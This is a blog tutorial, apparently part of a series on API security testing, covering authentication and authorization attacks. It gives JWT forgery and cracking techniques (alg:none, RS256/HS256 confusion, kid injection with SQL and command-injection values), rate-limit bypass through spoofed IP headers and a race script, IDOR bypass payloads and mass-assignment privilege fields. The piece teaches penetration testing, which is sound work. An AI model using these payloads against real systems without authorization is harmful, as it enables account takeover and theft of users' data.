June 11, 2026
API Fuzzing for Security Testing: Part 2A: Breaking Authentication & Authorization
JWT Attacks, IDOR/BOLA, Mass Assignment, and Authorization Abuse in Real-World APIs
Fuzzyy Duck
8 min read
In Part 1, you've mapped the attack surface. You know the endpoints, the API versions, the auth mechanism, and the data model. Now it's time to actually break things, and there's no better place to start than authentication and authorization. These two layers are supposed to be the entire security boundary of an API. When they fail, everything behind them is exposed.
This post focuses exclusively on who you are (authentication) and what you're allowed to access (authorization). We'll cover JWT attacks in depth, brute force techniques, IDOR in all its forms, and mass assignment.
1. Authentication Testing — Breaking the Front Door
Authentication is the first line of defense in any API. It's also frequently the most poorly implemented. Before testing anything else, identify exactly what auth mechanism is in play.
Identifying the Auth Type
Look at the Authorization header in intercepted requests:
Authorization: Bearer eyJhbGc... ← JWT
Authorization: Basic dXNlcjpwYXNz ← Basic Auth (base64)
Authorization: ApiKey abc123xyz ← API Key
X-API-Key: abc123xyz ← API Key (custom header)
Cookie: session=abc123 ← Session-basedAuthorization: Bearer eyJhbGc... ← JWT
Authorization: Basic dXNlcjpwYXNz ← Basic Auth (base64)
Authorization: ApiKey abc123xyz ← API Key
X-API-Key: abc123xyz ← API Key (custom header)
Cookie: session=abc123 ← Session-basedEach type has a different attack surface. Know which one you're dealing with before proceeding.
Testing Auth Enforcement Per Endpoint
The most common and underrated auth bug: some endpoints simply don't enforce authentication at all. Developers build auth middleware globally but forget to apply it to certain routes, or apply it inconsistently across API versions.
Methodology:
- Log in and collect a valid token.
- Take every endpoint you've enumerated from Part 1.
- Send the request with no Authorization header at all.
- Send it with a malformed/expired token.
- Send it with a token from a different account (your second test account).
Watch for 200 OK responses where you expected 401. This is an immediate critical/high finding.
# Strip the auth header and replay with ffuf
ffuf -u https://api.target.com/FUZZ \
-w endpoints.txt \
-mc 200,201,204 \
-H "Content-Type: application/json"# Strip the auth header and replay with ffuf
ffuf -u https://api.target.com/FUZZ \
-w endpoints.txt \
-mc 200,201,204 \
-H "Content-Type: application/json"2. JWT Attacks — The Deep End
JWTs (JSON Web Tokens) are the most common API auth mechanism and the most commonly misconfigured. A JWT has three parts: header, payload, and signature, all base64url encoded and dot-separated.
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 ← header (base64url)
.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0 ← payload (base64url)
.SIGNATURE ← signatureeyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9 ← header (base64url)
.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0 ← payload (base64url)
.SIGNATURE ← signatureAttack 1: Algorithm Confusion — alg: none
Some libraries accept a token with the algorithm set to none, meaning no signature verification is performed. Decode your JWT, modify the payload (elevate your role, change the user ID), set "alg": "none", remove the signature, and replay.
# Original
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.SIGNATURE
# Tampered — alg: none, role: admin, signature removed
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiJ9.# Original
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJ1c2VyIn0.SIGNATURE
# Tampered — alg: none, role: admin, signature removed
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiJ9.Attack 2: RS256 → HS256 Confusion
If a server uses RS256 (asymmetric, signed with private key, verified with public key) but also accepts HS256 (symmetric, same key for both), you can abuse this. If you can obtain the public key (often exposed at /jwks.json, /.well-known/jwks.json, or embedded in the API docs), sign a forged token with HS256 using that public key as the secret.
# Check for exposed JWKS
curl https://api.target.com/.well-known/jwks.json
curl https://api.target.com/api/jwks
curl https://api.target.com/oauth/jwks# Check for exposed JWKS
curl https://api.target.com/.well-known/jwks.json
curl https://api.target.com/api/jwks
curl https://api.target.com/oauth/jwksUse jwt_tool to automate all JWT attacks:
# Test for alg:none
python3 jwt_tool.py <TOKEN> -X a
# Test RS256 → HS256 confusion with public key
python3 jwt_tool.py <TOKEN> -X s -pk public_key.pem
# Crack weak HMAC secret
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt# Test for alg:none
python3 jwt_tool.py <TOKEN> -X a
# Test RS256 → HS256 confusion with public key
python3 jwt_tool.py <TOKEN> -X s -pk public_key.pem
# Crack weak HMAC secret
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txtAttack 3: Weak HMAC Secret
If the JWT uses HS256 and the secret is weak, you can brute-force it and forge arbitrary tokens. Tools: hashcat with mode 16500, or jwt_tool with -C.
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txthashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txtAttack 4: JWT kid Injection
The kid (Key ID) header parameter tells the server which key to use for verification. If it's passed unsafely to a file path lookup or database query, you can inject into it.
# Path traversal via kid
{"alg": "HS256", "kid": "../../dev/null"}
# SQLi via kid
{"alg": "HS256", "kid": "x' UNION SELECT 'mysecret'-- -"}
# Command injection via kid
{"alg": "HS256", "kid": "key.pem|echo mysecret"}# Path traversal via kid
{"alg": "HS256", "kid": "../../dev/null"}
# SQLi via kid
{"alg": "HS256", "kid": "x' UNION SELECT 'mysecret'-- -"}
# Command injection via kid
{"alg": "HS256", "kid": "key.pem|echo mysecret"}Attack 5: Expired Token Acceptance
Some APIs skip the exp claim check. Try replaying a token that expired hours or days ago — you might get a 200 instead of a 401.
Brute Force & Rate Limit Testing on Auth Endpoints
APIs without proper rate limiting on authentication endpoints are trivially brute-forceable. Key things to test:
Find all login paths — test each one independently:
/api/login
/api/v1/login
/api/v2/login
/api/mobile/login
/api/auth
/api/magic_link
/api/user/authenticate
/api/session/create/api/login
/api/v1/login
/api/v2/login
/api/mobile/login
/api/auth
/api/magic_link
/api/user/authenticate
/api/session/createMobile API versions (/api/mobile/login) are frequently exempt from rate limiting added to web versions.
Test for lockout bypass:
- Add
X-Forwarded-For: <rotating_ip>to each request - Add
X-Real-IP,X-Client-IP,CF-Connecting-IPheaders - Try
127.0.0.1orlocalhostin these headers — some servers trust them blindly
bash
# Rotate IPs via header spoofing in Burp Intruder
X-Forwarded-For: §1.2.3.§# Rotate IPs via header spoofing in Burp Intruder
X-Forwarded-For: §1.2.3.§- Change the
User-Agentstring between attempts - Test null byte in password field:
password=correctpass%00extra - Alternate between the original email and email+1@target.com (some systems count per email, not per IP)
3. IDOR / BOLA — The #1 API Bug Class
Broken Object Level Authorization (BOLA) — or IDOR when it manifests through direct object reference — is consistently the top API vulnerability in real-world programs. The concept is simple: the API doesn't verify that the authenticated user actually owns the resource they're requesting.
GET /api/v1/invoices/10045 ← Your invoice
GET /api/v1/invoices/10046 ← Someone else's invoice — but can you access itGET /api/v1/invoices/10045 ← Your invoice
GET /api/v1/invoices/10046 ← Someone else's invoice — but can you access itFinding IDOR: Think in Objects, Not Endpoints
Don't just fuzz the obvious ID. Think about all the places an object identifier appears:
- URL path:
/api/users/123/profile - Query parameter:
?user_id=123&account=456 - Request body (JSON):
{"order_id": "789", "user": "123"} - HTTP headers:
X-User-ID: 123,Account-ID: 456 - Cookie values:
uid=123
IDOR in headers is more impactful than IDOR in URLs — it's less likely to be caught by WAFs and more likely to be overlooked by developers.
The IDOR Testing Methodology
Set up two test accounts (Account A and Account B). This is non-negotiable.
- With Account A, create a resource (order, message, invoice, profile).
- Note the resource identifier.
- Switch to Account B's session (different browser or Burp context).
- Attempt to access Account A's resource using Account B's token.
- If you get a
200with Account A's data — that's IDOR.
Test all HTTP methods, not just GET:
GET /api/v1/orders/1234 ← Read
PUT /api/v1/orders/1234 ← Modify
DELETE /api/v1/orders/1234 ← Delete
POST /api/v1/orders/1234 ← Sometimes used for updateGET /api/v1/orders/1234 ← Read
PUT /api/v1/orders/1234 ← Modify
DELETE /api/v1/orders/1234 ← Delete
POST /api/v1/orders/1234 ← Sometimes used for updateDelete and modify are higher severity than read-only IDOR.
IDOR Bypass Techniques
If a straight ID swap gives you 403, try these bypass techniques before giving up:
1. Wrap the ID in an array:
{"id": 111} → {"id": [111]}{"id": 111} → {"id": [111]}2. Wrap the ID in a JSON object:
{"id": 111} → {"id": {"id": 111}}{"id": 111} → {"id": {"id": 111}}3. Send the ID twice (parameter pollution in JSON):
{"user_id": <your_legit_id>, "user_id": <victim_id>}
{"user_id": <victim_id>, "user_id": <your_legit_id>}{"user_id": <your_legit_id>, "user_id": <victim_id>}
{"user_id": <victim_id>, "user_id": <your_legit_id>}Some parsers take the first value, some take the last. Both orders are worth testing.
4. HTTP parameter pollution in URL:
/api/get_profile?user_id=<victim_id>&user_id=<your_legit_id>
/api/get_profile?user_id=<your_legit_id>&user_id=<victim_id>/api/get_profile?user_id=<victim_id>&user_id=<your_legit_id>
/api/get_profile?user_id=<your_legit_id>&user_id=<victim_id>5. Send wildcard:
{"user_id": "*"}
{"user_id": ""}
{"user_id": null}
{"user_id": 0}
{"user_id": -1}{"user_id": "*"}
{"user_id": ""}
{"user_id": null}
{"user_id": 0}
{"user_id": -1}6. Try random IDs across a range: If /api/v1/trips/666 returns 403, try 50 random IDs between 0001 and 9999. If even one returns 200 with someone else's data, that's your IDOR.
7. Integer to string substitution: Some IDs are integers in the DB but the API accepts them as strings without the same validation:
?user_id=123 → ?user_id="123"
?user_id=abc-123-xyz → ?user_id=abc-124-xyz ← increment UUID segment?user_id=123 → ?user_id="123"
?user_id=abc-123-xyz → ?user_id=abc-124-xyz ← increment UUID segment8. Negative integers and zero:
?account_id=0
?account_id=-1
?account_id=-9999?account_id=0
?account_id=-1
?account_id=-9999Vertical Privilege Escalation — Role-Based IDOR
Horizontal IDOR is accessing another user's same-level resources. Vertical IDOR is accessing resources above your permission level.
Test by finding admin-only API endpoints and hitting them with a regular user's token:
GET /api/admin/users ← Admin list endpoint
GET /api/v1/admin/settings
POST /api/v1/user/654321/role ← Change another user's role
DELETE /api/v1/users/654321 ← Delete a user as a regular user
GET /api/admin/users ← Admin list endpoint
GET /api/v1/admin/settings
POST /api/v1/user/654321/role ← Change another user's role
DELETE /api/v1/users/654321 ← Delete a user as a regular user
Also test replacing path-based self-references:
GET /me/orders ← Works
GET /user/654321/orders ← Should fail, but does it?GET /me/orders ← Works
GET /user/654321/orders ← Should fail, but does it?Understanding Relationships for Chained IDOR
The most impactful IDOR bugs aren't single endpoint findings — they're chains. Understand the data model of the application:
User → Orders → Receipts → Download
User → Projects → Documents → Shares
User → Trips → Invoices → PaymentsUser → Orders → Receipts → Download
User → Projects → Documents → Shares
User → Trips → Invoices → PaymentsOnce you find IDOR on one object type (e.g., orders), immediately test all related objects. A receipt download endpoint that uses an order_id as the key is often vulnerable even if the order endpoint itself is protected.
4. Mass Assignment — Writing Fields You Shouldn't
Mass assignment happens when an API binds request body parameters directly to internal object properties without a whitelist. If the backend model has a field called is_admin or role or email_verified, and the update endpoint accepts arbitrary JSON, you can write values to those fields.
Finding It
Look for user profile update, registration, or settings endpoints:
PATCH /api/v1/user/profile
Content-Type: application/json
{"display_name": "httpspenguin", "bio": "Security Researcher"}PATCH /api/v1/user/profile
Content-Type: application/json
{"display_name": "httpspenguin", "bio": "Security Researcher"}Now add extra fields — observe whether the server errors, ignores, or accepts them:
{
"display_name": "httpspenguin",
"bio": "Security Researcher",
"role": "admin",
"is_admin": true,
"email_verified": true,
"subscription_tier": "enterprise",
"credits": 99999
}{
"display_name": "httpspenguin",
"bio": "Security Researcher",
"role": "admin",
"is_admin": true,
"email_verified": true,
"subscription_tier": "enterprise",
"credits": 99999
}A 200 OK response that doesn't complain about the extra fields is a strong signal. Verify by fetching your profile again and checking if the fields changed.
Where to Find Field Names
- JavaScript source files (look for model schemas)
- API documentation / Swagger (all model properties are documented)
- Error messages (verbose errors sometimes list valid field names)
- API responses (if
GET /api/user/profilereturns{"role": "user", ...}, try writing torole) - Registration response, the full user object is usually returned on signup
- Other endpoints on the same object type: Different operations on the same model often expose different fields.
Common High-Impact Fields to Try
"role": "admin"
"is_admin": true
"admin": true
"user_type": "admin"
"permissions": ["admin", "write", "delete"]
"email_verified": true
"phone_verified": true
"subscription": "premium"
"subscription_tier": "enterprise"
"plan": "pro"
"credits": 99999
"balance": 10000
"account_status": "active"
"kyc_verified": true
"two_factor_enabled": false"role": "admin"
"is_admin": true
"admin": true
"user_type": "admin"
"permissions": ["admin", "write", "delete"]
"email_verified": true
"phone_verified": true
"subscription": "premium"
"subscription_tier": "enterprise"
"plan": "pro"
"credits": 99999
"balance": 10000
"account_status": "active"
"kyc_verified": true
"two_factor_enabled": false5.Brute Force & Rate Limit Testing on Auth Endpoints
APIs without proper rate limiting on login endpoints are trivially brute-forceable. But the real skill is knowing where to look and how to bypass limits that do exist.
Find Every Login Path
Don't test just /api/login. Enumerate all authentication endpoints and test each one independently — they often have separate rate limiters (or none at all):
/api/login
/api/v1/login
/api/v2/login
/api/v3/login
/api/mobile/login ← almost always separate, often less protected
/api/auth
/api/auth/login
/api/session/create
/api/user/authenticate
/api/magic_link
/api/passwordless
/oauth/token/api/login
/api/v1/login
/api/v2/login
/api/v3/login
/api/mobile/login ← almost always separate, often less protected
/api/auth
/api/auth/login
/api/session/create
/api/user/authenticate
/api/magic_link
/api/passwordless
/oauth/tokenA common real-world scenario: the web login at /api/v2/login has a 5-attempt lockout, but /api/mobile/logi,which hits the same backend auth logic, has no rate limiting at all.
Bypassing Lockouts via Header Manipulation
When the rate limiter counts requests by IP, spoofing the IP via headers often bypasses it:
X-Forwarded-For: <rotating_ip>
X-Real-IP: <rotating_ip>
X-Client-IP: <rotating_ip>
X-Remote-IP: <rotating_ip>
X-Remote-Addr: <rotating_ip>
True-Client-IP: <rotating_ip>
CF-Connecting-IP: <rotating_ip>X-Forwarded-For: <rotating_ip>
X-Real-IP: <rotating_ip>
X-Client-IP: <rotating_ip>
X-Remote-IP: <rotating_ip>
X-Remote-Addr: <rotating_ip>
True-Client-IP: <rotating_ip>
CF-Connecting-IP: <rotating_ip>Critically, test X-Forwarded-For: 127.0.0.1 — some servers trust this header completely and whitelist all "local" requests from rate limiting or even authentication entirely.
In Burp Intruder, add the header as a second payload position:
X-Forwarded-For: §1.2.3.§X-Forwarded-For: §1.2.3.§Pair with a pitchfork or cluster bomb attack to rotate IPs alongside password guesses.
Email and Password Field Tricks
# Null byte — some parsers truncate at %00, making "wrongpassword" == "correct"
password=correctpassword%00randomjunk
# Email normalization — some systems don't count these as the same address
user@target.com
USER@target.com
user+tag@target.com
user @target.com ← leading/trailing space, trimmed server-side# Null byte — some parsers truncate at %00, making "wrongpassword" == "correct"
password=correctpassword%00randomjunk
# Email normalization — some systems don't count these as the same address
user@target.com
USER@target.com
user+tag@target.com
user @target.com ← leading/trailing space, trimmed server-sideRace Conditions on Auth Rate Limiting
Some implementations check the rate limit counter before the authentication logic runs, then decrement after. Send a burst of requests simultaneously before the counter updates:
Use Burp's Turbo Intruder with the race template:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False)
for password in ['pass1', 'pass2', 'pass3', ...]:
engine.queue(target.req, password)
def handleResponse(req, interesting):
if '200' in req.response:
table.add(req)def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False)
for password in ['pass1', 'pass2', 'pass3', ...]:
engine.queue(target.req, password)
def handleResponse(req, interesting):
if '200' in req.response:
table.add(req)This is particularly effective against magic link / OTP endpoints where the valid code is short-lived and the window is narrow.
Quick Reference Checklist
Authentication
- Endpoints with no auth header return
401 - Endpoints with malformed/expired tokens return
401 - JWT:
alg:none(all case variants) - JWT: RS256 → HS256 key confusion (find public key at JWKS endpoint)
- JWT: Crack HMAC secret with hashcat / jwt_tool
- JWT:
kidinjection (path traversal, SQLi) - JWT: Expired token acceptance
- All login paths enumerated and tested separately
- Rate limit bypass via IP rotation headers
- Race condition on OTP/magic link endpoints
IDOR / BOLA
- Two-account setup ready
- ID swap tested on ALL HTTP methods (GET, POST, PUT, PATCH, DELETE)
- ID tested in: URL path, query params, request body, headers, cookies
- Array wrap:
{"id": [111]} - JSON wrap:
{"id": {"id": 111}} - Duplicate key pollution (both orders)
- Wildcard:
{"user_id": "*"} - Range of random IDs tested (Burp Intruder)
- Self-reference → direct reference swap (
/me/→/user/123/) - All related object types tested after initial IDOR found
Mass Assignment
- All keys from GET responses added to PATCH/PUT/POST requests
- Role and privilege escalation fields attempted
- Registration endpoint tested with extra fields
email_verified,is_admin,subscription_tierprobed
What's Next: Part 2b
Part 2a covered the auth and authorization layer. In Part 2b, we shift to the input layer and output exploitation:
- SQL injection in JSON bodies — boolean-based and time-based blind
- NoSQL injection — MongoDB operator injection
- XXE — direct, OOB, and content-type switching
- SSRF — finding it, cloud metadata exploitation, filter bypasses
- Command injection — finding injectable parameters, OS-level RCE
- HTTP method tampering and method override headers
- Content-type manipulation — switching between JSON, XML, and form data
- 403 bypass techniques — URL tricks, path confusion, WAF evasion headers
- Rate limit evasion — header rotation, null bytes, race conditions
- Output-phase bugs — XSS in PDF export, DoS via limit inflation, debug endpoints
If this was useful, follow the fuzzyyduck blog for Part 2B, dropping soon.